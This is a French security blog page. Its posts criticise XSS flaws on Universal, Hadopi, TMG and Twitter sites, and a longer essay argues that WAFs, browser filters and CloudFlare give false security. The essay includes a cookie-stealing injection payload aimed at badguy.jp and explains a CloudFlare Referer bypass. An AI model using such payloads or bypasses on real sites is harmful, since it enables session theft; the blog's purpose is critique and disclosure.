Blog perso de Paul Da Silva (Au moins) 4 XSS sur le nouveau site Universal… Négligence caractérisée !
Si je vous dis Universal Music, vous pensez de suite Pascal Nègre… Et si je vous dis Pascal Nègre vous pensez forcément Hadopi, la loi que le président d’Universal a poussé autant que son pouvoir de lobbyiste le lui permettait pour que les vilains internautes qui ne sécurisent pas leur connexion internet se la voient coupée (la connexion bande de pervers !).
On serait tenté de se dire que dans ce cas les intéressés ont intérêt à donner l’exemple… Mais je ne vais pas vous refaire le tableau, c’est un festival de négligences caractérisées que l’on constate depuis plusieurs mois que la machine à SPAM est enclenchée.
Aujourd’hui je vous présente le projet « So-Music », fruit de la collaboration d’Universal et de la Société Générale (mouarf je vais encore avoir des soucis avec ma CB moi !) pour vous proposer une superbe CB au design d’une K7 audio… Ah oui quand même, on est remonté quelques années en arrière là !
L’offre est plus qu’attrayante puisque vous pouvez avoir un boulot de rêve (payé 1500€, comme Pascal ?) et vous voir offrir 10 MP3 par an… Ouah ! tout ça !!!
Bon au delà de l’offre gargantuesque de culture made in Universal je vous fait un rapide tour du proprio (doit y en avoir d’autres, j’ai juste regardé rapidement) – ça se passe de commentaire.
Comme d’habitude, le XSS permet gentiment de récupérer les cookies (entre autres joyeusetés) et donc de se logguer à la place d’un utilisateur dument inscrit… On parle quand même d’une carte bleue ici les enfants…
Négligence quoi ?
Hadopi, à nouveau vulnérable au XSS
Hier l’offre légale a enfin trouvé sa place sur le site de la Hadopi. Au delà du fait qu’elle ne respecte pas la loi (ou son esprit) en présentant un moteur de recherche en lieu et place d’une liste d’oeuvres sur lesquelles porte la labellisation, c’était pour moi l’occasion de voir si ils avaient retenu la leçon de la précédente faille trouvée dans le formulaire de recherche…
Rappelons que la Hadopi demande à chaque personne de sécuriser son accès à Internet, ce qui, si c’était possible, révèlerai de qualifications d’un ingénieur en sécurité réseau. Le fait est qu’il restera toujours des points du réseau hors du contrôle de l’utilisateur et que son adresse IP pourra toujours être usurpée, même si son réseau est lui sécurisé de l’ordinateur aux sites qu’il visite.
Autant dire qu’elle repose sur du vent et que personne n’arrive à leur faire entendre cela depuis des mois / années que tous essayent…
Nous nous étions alors posé la question avec Bluetouff et RootBSD de savoir si le gouvernement, avec ses moyens, s’appliquait lui même la rigueur qu’il exige de monsieur et madame tout le monde. Réponse courte : pas du tout !
J’ai ensuite voulu vérifier si la Hadopi le faisait. Réponse courte : non plus !
Puis ce fut le tour de TMG, nouveaux gendarmes privés du Net. Réponse courte : toujours pas !
Mais là où on pourrait croire que la Hadopi aurait tiré les leçons de la première démonstration, j’ai pu trouver hier, en 6mn30, une nouvelle faille sur le site de l’autorité… Selon la loi il s’agit donc du second avertissement… Au prochain il faudra songer à couper la connexion chez Hadopi ?
Je vais bien sûr contacter Eric Walter (en heures de bureau) pour lui signaler la faille et lui expliquer comment la corriger avant qu’un « voyou d’internet » (copyright Pr Riguidel) ne s’en serve… D’ici là, amusez vous avec ce petit détournement publié sur Twitter 🙂
MAJ : Après avoir contacté Eric Walter, il semblerai que la faille ait été corrigée. Il n’en reste pas moins qu’elle constitue le deuxième manquement au devoir de sécurisation… A la prochaine 😉
L’extranet de TMG aussi est vulnérable au XSS
Bon c’est pas que j’ai l’impression de me répéter mais après avoir découvert une faille XSS sur Hadopi.fr je pensais qu’ils feraient le nécessaire auprès des autres prestataires au service de cette loi, à commencer par celui qui manipule toutes les informations sensibles : la fameuse police privée TMG.
Le truc drôle c’est que même si j’espérai que hadopi.fr et les 40 sites gouvernementaux vulnérables trouvés avec Bluetouff et RootBSD commenceraient à les faire réfléchir sur la pertinence d’un délit de négligence caractérisée ou au moins les pousser à sécuriser un minimum leurs outils (oui parce que bon, donner l’exemple c’est mieux quand on veut « changer les comportements »)… Je n’y ai jamais cru un instant…
Bref ce coup-ci c’est l’interface qui sert aux ayants-droits pour communiquer avec la Hadopi qui présente une vulnérabilité au XSS sur le formulaire de connexion, fièrement suivi d’un logo « Secured by Thawte ». Bah oui la sécurisation c’est pas juste un certificat valide (aka une solution technique), c’est un ensemble de comportements et de précautions à prendre que l’on ne peut pas demander à un simple citoyen de connaitre et de maitriser quand ceux qui mettent en place des sites pour le gouvernement, les Hautes Autorités ou les milices à financement public n’en sont pas capables…
Cette faille permettrait quand même, si j’envoie un lien malicieux à quelqu’un de connecté à l’interface en question (au hasard chez l’Alpa ?), de voler ses cookies et de les envoyer sur un serveur tiers. Partant de là je n’ai plus qu’à recréer le cookie de mon côté pour être connecté à mon tour exactement comme si j’avais eu les informations de connexion…
Comme pour Hadopi.fr l’utilisation de $_REQUEST est une aberration, le filtrage des infos passées ou tout simplement un petit htmlentities aurait pu éviter cela… Ça coute pas plus cher les gars hein !
J’ai bien sur averti qui de droit (Eric Walter sur Twitter et TMG via le formulaire de contact dispo sur leur site) pour qu’ils corrigent… Mais on ne devrait pas trouver ce type de failles sur ce type de sites…
Je vous laisse sur la réflexion suivante : est-il normal de laisser le droit à cette entreprise dont la structure présente pour le coup des signes manifestes de négligence caractérisée le droit de collecter des informations sensibles sur des Internautes qui vont être accusés à leur tour d’être négligents ?
Twitter subit une faille XSS
Dans la série, si madame Michu arrive à sécuriser sa connexion Internet je veux bien manger mon chapeau (qu’il va falloir que je récupère un jour), je vous présente la toute dernière faille de sécurité touchant une toute petite boite : Twitter… Après le petit social engineering dont a été victime la startup, qui n’a plus de startup que le nom, Twitter va à nouveau défrayer la chronique à cause d’une faille de sécurité exposant tous ses utilisateurs : une injection XSS toute bête à exploiter.
Lorsque l’on poste sur twitter depuis une application l’API permet d’afficher le nom du logiciel utilisé en ajoutant un petit lien vers le site de l’éditeur dudit logiciel. Véritable tremplin pour les applications du genre, il semblerait que cette fonctionnalité ne soit pourtant pas idéale d’un point de vue sécurité.
C’est en effet en ajoutant au nom du logiciel utilisé (Ubertweet visiblement, mais il a aussi pu le modifier en passant) qu’un pirate a réussit à exploiter une faille vielle comme le monde : la fameuse injection XSS. Le principe est très simple : il s’agit d’injecter du code Javascript au texte originellement attendu. Si le site est mal codé (aka si le code est affiché tel quel sans que ne soit pratiqué de vérification sur le contenu) le script va être interprété et peut poser de graves problèmes de sécurité.
Il est notamment tout à fait possible de voler les cookies (et donc le compte) d’un utilisateur du service qui serait connecté au moment où il visualiserait la page ! Read more
Sécurité, déporter le problème est une connerie dangereuse
Pour changer un peu j’ai décidé de vous livrer ici un article un peu long (non ça ça ne change pas) et technique après une micro-gueulante sur Twitter et pour expliquer un peu plus en détail mon point de vue sur la sécurité en mode boite noire. Je vais essayer de faire relativement simple mais l’article risque d’être un peu indigeste (et inintéressant) si vous n’avez pas de notion de programmation Web – promis le prochain sera sur un truc plus abordable 😉
Depuis quelques années un phénomène a le vent en poupe dans le domaine de la sécurité Web : on essaye de nous vendre de l’antivirus à pas cher qui, une fois installé est censé rassurer le client sur la solidité de son site. Personne n’est vraiment d’accord sur où on est censé brancher ce machin, sur ce qu’il doit faire ou sur comment le considérer. J’ai ma petite idée (nulle part, rien et pas) et vais essayer de vous démontrer par une petite série d’exemples la connerie dont il s’agit…
En parallèle de mes activités de consultant en sécurité il m’arrive aussi de donner des cours de sécurité en PHP (troll interdit après ce que je vais vous balancer ici) – l’approche antivirus, patch miracle, marketing pompeux n’est pas au programme de ce que j’enseigne. Pas même lorsque je m’adresse à des chefs de projet fonctionnel (surtout pas dans ce cas !) et pour cause :
Browser anti-XSS filter (Webkit4, Chromium)
Une des plaies en terme de sécurité est la faille XSS, cette petite injection de script innocente mais qui permet parfois de mettre à genoux des sites, de réaliser des escalades de privilèges, de scanner des sous-réseaux, de prendre le contrôle d’une machine qui utiliserait un navigateur trop vieux ou trop mauvais (là je serai en train de donner un cours j’aurai toussé « Internet Explorer », mais à l’écrit ça risque d’être moins discret comme troll).
Alors les petits gens qui nous font un certain moteur de rendu à peine répandu, un certain Webkit, ont eu l’idée géniale d’intégrer un filtre contre ces petites saloperies… Je prends l’exemple de Chromium (Chrome sans Google, j’ai une âme) et voilà le message que je lis dans la console (F12) de mon navigateur si je tente une XSS sur à peu près n’importe quel site :
Refused to execute a JavaScript script. Source code of script found within request.
Tous ? Non un village (trois ou quatre identifiés en fait) résiste toujours à l’envahisseur !
Considérons par exemple le code PHP suivant (cas réel trouvé sur une interface de paiement d’un site commercial) :
…
<script type= »text/javascript »>
var page = « <?=$_GET[‘page’]?> »;
…
</script>
…
A votre avis il se passe quoi si je mets quelque chose comme ceci dans $_GET[‘page’] ?
« ; var i = new Img(); i.src = « http://badguy.jp/bad_script.php?nice_cookie= » %2b document.cookie; //
Bon la réponse est simple : la requête va partir mais répondre par une 404 parce que cette page n’existe pas, mais si elle avait existé et qu’elle contenait par exemple un simple file_append de $_GET[‘nice_cookie’] dans un fichier de log… Bon vous avez saisi le principe 😉
Plus drôle encore : ce filtre magique de la mort qui tue… Comment il fait la différence entre un script légitime et une XSS persistante que j’aurai ajouté au préalable via un formulaire de livre d’or, une signature sur un forum codé avec les pieds, … ?
La réponse est simple : il ne la fait pas et ne pourra jamais la faire.
J’ai inclu il y a peu un script distant en XSS persistante sur un site. Je ne voulais pas l’hoster sur le serveur de mon blog, je l’ai hosté sur un serveur qui n’a aucun nom de domaine attaché. Ca n’a pourtant posé aucun souci à Chromium de communiquer vers une adresse sous la forme d’une ip2long (plus discret) le contenu des cookies vers un script qui s’appelait steal.php (le tout a été patché sur le site en question depuis bien sûr et n’avais été testé que sur mon poste sur une seule requête).
Et c’est normal : ce n’est pas son rôle de filtrer (c’est le rôle de noscript ;)).
Il y a d’autres façons de bypasser ce filtre (et d’autres problèmes sur Chromium) sur lesquels je travaille encore pour le moment, suite au prochain épisode pour lui !
Reverse Proxy (CloudFlare)
On se rapproche de l’application, on arrive sur le serveur. Sur celui-ci, si je veux gagner un peu en performances je peux installer un reverse proxy. Exemple courant : lighttpd répond à tous les contenus statiques et proxifie les script (php, py, …) à apache qui a quand même plus de répondant dans le domaine.
Sauf que ce type de solutions ne suffit pas sur des systèmes à très gros trafic et sont donc arrivées les entreprises qui font du reverse proxy (Akamaï en tête pour ne pas les nommer). Principe génial, j’ai un CDN en colocation avec d’autres sites et ça répond du feu de dieu partout dans le monde (les images stockées sur facebook sont servies par Akamaï par exemple).
Le petit nouveau qui fait du bruit sur le marché c’est un certain CloudFlare. Pendant un temps je le voyais partout… Pas à cause de leur communication, à cause de leur protection super efficace qui m’affichait une landing page hideuse à chaque requête sur un site derrière leur solution !
Mon navigateur est configuré en mode pentest tout le temps. Tout est modifié ou presque sur chaque requête ou presque et des inclusions classiques sont tentées dans tous les cas… Et forcément ça CloudFlare, qui propose une solution « Security » qui bloque la requête avant qu’elle arrive sur votre serveur s’il y détecte des cochoncetées, il a pas aimé…
En image ma configuration de modify headers pour Firefox avant et après bypass de la sécurité CloudFlare :
Comme le jeu des unes différences c’est vachement compliqué je vais vous donner la solution : la seule vérification que fait CloudFlare sur les entêtes HTTP en mode Security c’est si le Referer est formaté comme il le souhaite à savoir : vide ou contenant le caractère « : » au moins une fois… C’est tout !
Je sais pas pour vous, mais moi j’appelle pas ça de la sécurité mais du foutage de gueule 🙂
Imaginez un instant que le développeur (partisan du moindre effort que nous sommes) se dise « bon bah CloudFlare me laisse passer que des trucs propres, je peux bosser tranquile » et stocke en base SQL des stats sur ses visiteurs (au hasard, user-agent, referer et IP ?) – A votre avis ça donne quoi dans le cas présent ?
WaF (PHPIDs, apache mod security)
On commence à se rapprocher et là il y a deux approches différentes : soit un module du serveur web (ou de cache en reverse proxy) : Apache2 mod_security, Varnish VCL_SECURITY, … soit les classes PHP, Python, Ruby qui pullulent et vous garantissent la sécurité à moindre effort (elles aussi).
Les modules sont relativement efficaces (jamais lu de doc particulière sur du bypass du système en lui-même) lorsqu’ils sont bien configurés ! Ce qui suppose que l’admin système, qui va vraisemblablement paramétrer le truc, maitrise des problématiques de sécurité applicative fine ou que le développeur maitrise l’administration système ou que les deux se mettent d’un coup à bosser ensemble… Rayez toutes les mentions inutiles, je ne vois pas un cas concrêt où ça peut se passer correctement et surtout je ne vois pas l’intérêt dans la mesure où ce qui est « développé » en conf serait vachement mieux dans du code applicatif / métier même.
Et puis il y a les classes PHP qui vous proposent, moyennant l’inclusion en tout début de votre fichier appelé de vous nettoyer les données ou d’arrêter l’execution du script en cours de route si problème. Les problèmes sont en général décrits par de magnifiques expressions régulières pas lourdingues du tout (ironie pour ceux qui ne la saisirait pas à l’écrit) qui ont déjà été bypassées sur un des leaders du marché (bon pas par un rigolo non plus ^^).
Bref une solution lourde, difficile à paramétrer et qui ne présente aucune garantie voire qui peut introduire des vulnérabilités si le truc est mal foutu : plus de codes = plus de soucis, comme dirait @manudwarf keep it simple stupid (je sais c’est pas de lui mais ça lui va bien et il l’a écrit il y a peu) !
Framework (Code Igniter)
Et pour finir ce tour de table je vais vous parler de l’endroit où cela a plus ou moins sa place, en citant bien sûr un contre-exemple…
Le framework peut (ou doit selon la philosophie du dév) proposer des outils de validation, éventuellement des outils de nettoyage et des méthodes pour y accéder facilement. Il doit faire tout ceci simplement pour éviter que le code qui sert à vérifier que mon fichier que j’ai uploadé est bien une image, je ne veux pas le ré-écrire partout. Qui plus est, si demain je veux ajouter un niveau de vérification supplémentaire, changer quelque chose, je veux pouvoir le faire une fois pour l’ensemble de mes uploads et déployer ainsi une forme de sécurité générique homogène (différent de la sécurité métier).
Mais si vous utilisez un framework, lisez le ! Faites attention au code qui est utilisé et patchez le éventuellement.
Exemple : Code Igniter, helper security de la version 2.1.1 (actuelle, j’ai créé une issue sur le GitHub)
function encode_php_tags($str)
{
return str_replace(array(‘‘), array(‘<?php’, ‘<?PHP’, ‘<?’, ‘?>’), $str);
}
Si vous ne voyez pas ce qui cloche imaginez simplement que j’envoie <?pHp et vous comprendrez pourquoi je m’arrache les cheveux 😉
Enfin il y a la sécurité métier, les vérifications simples sur la longueur d’un champ, sa forme, … Cette partie là n’a sa place qu’au niveau de l’application et n’est pas négociable. Si vous mettez en place l’une ou l’autre des non-solutions citées plus haut vous risquez d’avoir des dév qui considèrent que « la sécurité est là vu qu’y a PHPIDs » …
Conclusion
Non j’ai pas envie de conclure, j’ai fait assez de démo, tirez en votre conclusion et discutez en dans les commentaires c’est plus simple ! 🙂
keep looking »Edito
Ancien journaliste, ancien entrepreneur, ancien (ir)responsable Pirate, actuel citoyen qui s'intéresse à la politique et à son évolution.
Retrouvez moi sur :
Piratons la démocratie
One more thing !
0100 0011 0110 1000 0110 0001 0110 1110 0110 0111 0110 0101 0111 0010 0010 0000 0110 1100 0110 0101 0010 0000 0110 1101 0110 1111 0110 1110 0110 0100 0110 0101 0010 0000 0110 0101 0110 1110 0010 0000 0111 0011 0010 0111 0110 0001 0110 1101 0111 0101 0111 0011 0110 0001 0110 1110 0111 0100 0010 0000 0010 1101 0010 0000 0110 1111 0110 1110 0010 0000 0111 0110 0110 0001 0010 0000 0110 0010 0110 1111 0110 1001 0111 0010 0110 0101 0010 0000 0111 0101 0110 1110 0010 0000 0110 0011 0110 1111 0111 0101 0111 0000 0010 0000 0011 1111
Tm9uIGNlbGVsIGzgIGVzdCBqdXN0ZSBwb3VyIHRlIGZhaXJlIHBlcmRyZSA1bW4gOyk=